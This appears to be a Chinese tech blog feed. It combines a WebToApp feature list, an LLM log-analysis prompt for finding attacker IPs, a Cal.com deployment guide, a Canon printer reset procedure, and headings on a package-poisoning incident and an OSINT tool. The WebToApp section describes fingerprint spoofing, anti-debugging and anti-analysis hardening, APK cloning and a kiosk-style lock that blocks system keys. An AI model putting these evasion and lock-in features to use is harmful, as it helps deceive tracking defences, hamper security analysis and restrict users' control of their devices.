Chrome 扩展运行时 — 完整 chrome.* API polyfill（runtime、storage、tabs、messaging）使桌面 Chrome 扩展在 WebView 内运行。后台脚本在隔离 WebView 中执行，同源 fetch + 共享 cookie 状态。
22 向量浏览器指纹伪装 — Canvas、WebGL、AudioContext、屏幕、字体、GPU 信息 — 全部伪装且跨向量一致。原型链钩子 .toString() 返回 [native code]。
本地服务端运行时 — Node.js / PHP / Python / Go 通过设备端编译和本地 HTTP 服务在应用内运行。无需远程服务器。

应用配置功能

每个生成的应用拥有完整配置面：

WebView 控制 — 桌面模式、自定义 UA、JS/CSS 注入 (DOCUMENT_START/END/IDLE)、弹窗拦截、新窗口行为（同标签/外部浏览器/弹窗/阻止）、代理 (HTTP/SOCKS5/PAC)、DNS-over-HTTPS (7 个预设+自定义)、屏幕方向 (7 种)、屏幕常亮+亮度、键盘调整、视口模式、支付方案、跨域隔离、PWA 离线支持、错误页自定义

悬浮窗 — 可调整大小悬浮窗，尺寸/透明度/圆角/边框样式(微妙/发光/强调)/边缘吸附/位置锁定/自动隐藏标题栏/启动最小化/记住位置

状态栏 — 完整状态栏主题：颜色、深/浅色图标、背景类型(颜色/图片)、透明度、高度 — 深色模式独立配置

安全与隐私 — APK 加密 (100000 PBKDF2 迭代，支持自定义密码)，应用隔离(独立数据目录)，浏览器/设备指纹伪装，广告拦截(hosts 规则+cosmetic MutationObserver)，强制运行，激活码门控(按时或持久)

应用加固 — DEX 加密+拆分+VMP+控制流平坦化，原生 SO 加密+ELF 混淆+符号剥离+反 dump，反 Frida/Xposed/Magisk/调试/内存 dump/截屏，模拟器/VirtualApp/VPN/USB 调试检测，字符串加密+类名混淆+调用间接+不透明谓词，DEX CRC 校验+内存完整性+JNI 验证+时序检查，多点签名验证+APK 校验和+资源完整性+证书固定，威胁响应+蜜罐+自毁

强制运行 — 3 种模式：固定时段/倒计时/访问窗口。阻止系统 UI、返回键、Home 键、最近应用、通知。倒计时跨进程杀死持久化。密码紧急退出。结束前预警。

BlackTech — 音量控制(强制最大/静音/阻止按键)，手电筒模式(频闪/SOS/摩尔斯码/心跳/呼吸/紧急+自定义警报+震动同步)，系统控制(阻止电源键、最大性能)，屏幕控制(黑屏、旋转、阻止触摸、强制唤醒)，网络控制(WiFi 热点+SSID/密码、禁用 WiFi/蓝牙/移动数据)，核弹模式(全开)，隐身模式(静音+黑屏+阻止触摸+断网)

设备伪装 — 伪装设备身份：设备类型(手机/平板/桌面)，操作系统(Android/iOS/HarmonyOS/macOS/Windows/Linux)，品牌+型号预设，屏幕分辨率，像素比，时区，语言

启动屏与 BGM — 自定义启动屏(图片/视频+音频、点击跳过、裁剪范围、方向)，背景音乐播放列表+LRC 歌词同步，7 种歌词动画(淡入/滑动/缩放/打字机/卡拉OK)，3 种位置，自定义歌词主题(字体/大小/颜色/描边/阴影)，20 个音乐标签，循环/顺序/随机模式

公告 — 10 种模板风格(极简/小红书/渐变/毛玻璃/霓虹/可爱/优雅/节日/暗黑/自然)，触发时机：启动/定时/无网络

翻译 — 页内翻译覆盖层，20 种目标语言，5 个引擎(Google/MyMemory/LibreTranslate/Lingva/Auto)，悬浮按钮切换，加载时自动翻译

通知 — Web API Notification polyfill + URL 轮询前台服务，可配置间隔和 JSON 解析

深度链接 — 自定义 scheme 支持，可配置 host 匹配

自动启动 — 开机自启，定时启动

后台运行 — 前台服务保活，自定义通知标题/内容，CPU wake lock，电池优化白名单

图库应用 — 分类图片/视频图库，网格/列表/时间线视图，顺序/随机/单曲循环播放，按自定义/名称/日期/类型排序，缩略图条，媒体信息，视频自动下一个，记忆播放位置

多网站应用 — 多站点标签/卡片/信息流/抽屉布局，每站图标和 CSS 选择器，自动刷新间隔

服务端运行时 — Node.js (4 种构建模式: 静态/SSR/API 后端/全栈，环境变量)，WordPress (主题+插件，内置 PHP)，PHP (Composer 支持，自定义文档根)，Python (Flask/Django/builtin server，pip 依赖)，Go (二进制编译，静态文件服务)

网站爬虫 — 离线包创建器：爬取整个网站前端 (HTML/CSS/JS/图片/字体)，并发下载，递归 CSS url() 解析，绝对转相对路径重写，同域限制，深度/大小限制

应用修改器 — 克隆已安装 APK：替换图标、名称、包名，通过二进制 Manifest 修补

扩展模块 — 10 个内置模块(视频下载器、B站/抖音/小红书提取器、视频增强、网页分析、暗色模式、隐私保护、内容增强、元素拦截) + 自定义模块 3 种来源(自定义 JS / userscript .user.js / Chrome 扩展 manifest.json)。完整 Greasemonkey/Tampermonkey GM_* API 桥接。MV3 declarativeNetRequest 规则引擎(block/allow/redirect/modifyHeaders)。模块分享通过导出码。

APK 导出 — 自定义包名/版本，架构选择(通用/ARM64/ARM32)，性能优化(图片压缩/WebP 转换、代码压缩、懒加载、DNS 预取、预加载提示)，运行时权限(摄像头/麦克风/位置/存储/蓝牙/NFC/短信/通讯录/日历/传感器/前台服务/wake lock/安装包/系统弹窗)

广告 — Banner + 插屏 + 开屏广告支持，可配置 ID 和时长

主题 — Aurora 主题系统，动态颜色生成

数据备份 — 完整应用数据备份和恢复，项目导出/导入

快速开始

在 Android 设备上安装 WebToApp
点击 "+" 创建新应用 — 输入 URL 或导入项目
自定义图标、设置和功能
点击 "构建 APK" — 安装完成

从源码构建

要求： Android Studio Hedgehog+、JDK 17、Gradle 8.14+

git clone https://github.com/shiahonb777/web-to-app.gitcd web-to-app
./gradlew assembleDebug

Release 构建需在 app/build.gradle.kts 中配置签名。

技术栈

Kotlin / Jetpack Compose / Material Design 3 / Room / GeckoView / OkHttp / KSP / Native C++ (JNI)

基于大模型的入侵日志分析程序

Tue, 12 May 2026 16:39:34 +0800

使用大模型分析日志中的攻击行为，输出攻击者IP及次数。

提示词：

你是一个网络安全分析专家。请分析下面这段日志，完成以下任务：1. 识别可能的网络攻击行为（如扫描、爆破、注入尝试、非正常频率请求等）。2. 区分“正常IP”和“攻击者IP”：   - 攻击者IP：在短时间内有多次失败请求、高频访问敏感路径、或明显恶意特征。   - 正常IP：无上述行为，仅正常访问。3. 对每个攻击者IP，提取：   - 攻击开始时间（日志中该IP首次出现恶意行为的时间）   - 攻击结束时间（日志中该IP最后一次出现恶意行为的时间）   - 攻击次数（恶意行为的请求次数）4. 按以下 JSON 格式输出，不要输出其他任何解释或额外字段。输出格式示例（如有多个攻击IP）：{  "attackers": [    {      "ip": "192.168.1.100",      "attack_start_time": "2025-05-11 08:12:03",      "attack_end_time": "2025-05-11 08:15:22",      "attack_count": 47    }  ],  "normal_ips": ["10.0.0.1", "10.0.0.2"]}如果不存在攻击行为，输出：{  "attackers": [],  "normal_ips": ["所有去重后的IP列表"]}以下是日志内容：{日志内容}

demo 效果如下：

实测效果：

真实日志信息：

完整软件实现提示词：

使用 python 实现一个基于大模型的日志分析程序，大模型的信息如下：  api-key:  your-key  open-ai 格式的 API base url :  https://ark.cn-beijing.volces.com/api/coding/v3  模型：ark-code-latest提示词：。。。最终程序接受一个或多个文件，输出 json 格式的数据

全文完。

别再花钱买日程管理！开源神器Cal.com保姆级部署教程

Tue, 12 May 2026 16:07:17 +0800

Cal.com 是一个开源免费的日程管理工具，支持多平台集成，适合个人及团队使用，可通过官方文档完成部署。 以下为详细介绍及部署指南：

项目概述

名称：Cal.com（原Calendso）
项目地址：https://github.com/calcom/cal.com
核心功能：
对标Calendly，支持商务会议、课程预约、家庭聚餐等场景。
集成Outlook/Google日历，自动同步双方日程，避免冲突。
完全开源，数据存储在自有服务器，保障隐私安全。

四大核心优势

完全开源掌控：
代码透明，数据自主管理，避免第三方平台隐私泄露风险。
多平台深度整合：
支持Outlook、Google、Zoom等20+主流平台，覆盖日历、视频会议等场景。
高颜值界面：
Material Design风格设计，支持中文等多语言，操作直观。
智能防鸽机制：
自动发送邮件提醒，减少会议缺席率。

部署教程

准备环境：
需自行部署服务器（如VPS或本地环境），推荐使用Docker容器化技术。
注意：官方不推荐使用dockge，建议参考官方Docker部署文档：https://github.com/calcom/docker
关键步骤：
克隆仓库：获取Cal.com完整代码库。
配置环境变量：
NEXTAUTH_SECRET：使用OpenSSL生成密钥（避免卡在启动界面）。
邮件服务配置：测试端口465是否开放，推荐使用企业邮箱。
反向代理设置：确保/api/v2路径正确，避免API报错404。

初始化配置

部署成功后访问域名，按向导完成以下步骤：

创建超级管理员：
设置账号密码，用于后续系统管理。

绑定日历服务：
强烈推荐集成Outlook账号，同步企业日程更高效。

设置开放时间：
支持按工作日/节假日灵活调整可用时段，适配不同场景需求。

常见问题解决

卡在启动界面：检查NEXTAUTH_SECRET是否用OpenSSL生成。
邮件发送失败：确认端口465开放，或更换为企业邮箱服务。
API报错404：检查反向代理配置中/api/v2路径是否正确。

适用场景与人群

自由职业者：管理客户预约，提升接单效率。
教育机构：课程预约与排课系统。
医疗行业：问诊时间安排与排班管理。
极客玩家：探索开源工具的定制化玩法。

扩展建议

内网穿透：搭配Cloudflare Tunnel免备案访问。
Docker资源库：推荐关注Awesome-NAS-Docker，获取更多分类整理的Docker应用。

Cal.com以零成本+数据自主的优势，成为中小团队日程管理的理想方案。按教程操作即可快速上手，遇到问题可参考避坑指南或社区支持。

佳能喷墨打印机报错5B00，无需送维修站也能自己修！

Mon, 11 May 2026 23:18:11 +0800

我们在使用佳能喷墨打印机时候，当使用一段时间后，打印机就会出现这类故障“5B00”或“墨水收集器已满”怎么办？

其实这类故障就是喷墨打印机寿命配件“废墨垫”计数器已经到达上限，打印机需要“清零”计数+更换“废墨收集器”才可以继续正常使用！

对于打印机维修员或品牌售后客服，碰到这类问题都会让用户送机到维修站“处理”，收费还不便宜大约会是一百块大洋左右！

钱袋子有少了些有木有，这里告诉大家一个操作法，无需送打印机维修站也能自己处理！内容很硬如果对你有用，拿走+点赞+收藏=好人一生平安!!

这里举例“佳能G系列2800墨仓式喷墨打印”手动清零方法，此方法可适用同类型G系列哦！

操作步骤：

步骤一：打印机关机状态下并且连接电源“按住停止按键+开机键”等待打印机电源“指示灯”绿灯亮起”

步骤二：等待“开机键”指示灯停止闪烁，即可操作连续操作按5次“停止”功能键，这时故障提示灯停在“故障指示灯处”

步骤三：再按“停止”功能键五次，再按一次“开机键”，等待打印机自己操作大约10-20秒。会自动打印一张信息报告，末端会有一小行数字。

步骤四：继续操作按“停止键”3次加 “1次开机键”等待打印机会自己操作，继续打印一张系统报告出来。

教程看到这里~说明你已经操作成功了，整个清零步骤已经完成~只需要重新开关打印机即可！

HQY

警惕！mistralai PyPI 包植入恶意代码：伪装 Transformers 框架，针对 Linux 环境窃取 CI/CD 密钥，附紧急排查指南

攻击详情：伪装、潜伏与窃取

1. Mistral AI PyPI 包入侵 (Python)

2. TanStack & Mistral npm 包入侵 (JavaScript/TypeScript)

为什么开发者是高危目标？

紧急响应指南：立即行动！

1. 凭证轮换（最高优先级）

2. 指标检测 (IOCs)

3. 系统清理与隔离

4. 依赖审计

长期防御策略

2026年最大跨生态供应链攻击：TanStack/Mistral AI 62个包被投毒的技术复盘与防御指南

一、事件概述：一场席卷全球开发者的供应链大地震

二、事件完整时间线

三、攻击技术深度解析

3.1 核心攻击链流程图

3.2 GitHub Actions OIDC机制与漏洞原理

3.3 缓存投毒与令牌窃取技术细节

3.4 恶意代码行为分析

四、受影响范围与危害评估

4.1 核心受影响包清单

4.2 危害等级评估

五、官方处置与应急响应步骤

5.1 官方处置进展

5.2 企业级应急响应清单（立即执行）

步骤1：检测并清理恶意依赖

步骤2：强制轮换所有敏感凭证

步骤3：审计系统和网络活动

步骤4：加固CI/CD流水线安全

六、系统性风险暴露与前瞻性思考

6.1 SLSA安全框架的局限性

6.2 OIDC信任链的系统性漏洞

6.3 跨生态攻击成为新常态

七、未来防御体系建设建议

7.1 技术层面

7.2 流程层面

7.3 行业层面

八、总结与展望

重新尝试 WSL2 和 Windows Terminal 后感觉不错

输入一个用户名，3秒扒光你的全部社交账号！GitHub 2.8万星OSINT神器，让隐私裸奔

01 不止是搜索，是“顺藤摸瓜”式情报挖掘

02 一场技术与隐私的极限拉扯

写在最后

Web Page Maker(网页制作软件)

应用介绍

基础信息

应用标签

应用简介

功能特色

Web Page Maker使用教程

功能特色

类似应用

“飞行汽车没来，但Win32还活着”！微软CTO亲口承认：Win11还在靠90年代「祖传代码」撑着

WebToApp 任意网站。一键。一个应用。 无需 IDE。无需构建服务器。无需电脑。

截图

功能

核心特性

核心技术实现

应用配置功能

快速开始

从源码构建

技术栈

基于大模型的入侵日志分析程序

别再花钱买日程管理！开源神器Cal.com保姆级部署教程

佳能喷墨打印机报错5B00，无需送维修站也能自己修！

WebToApp 任意网站。一键。一个应用。无需 IDE。无需构建服务器。无需电脑。